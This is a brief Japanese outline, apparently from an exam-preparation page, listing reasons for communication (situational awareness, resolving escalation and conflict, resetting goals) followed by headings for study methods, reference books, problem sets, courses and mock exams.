  • コミュニケーションの理由
    • 状況認識
    • エスカレーションの解消
    • 競合の解消
  • 目標の再設定

勉強方法

参考書

問題集

講座

模擬試験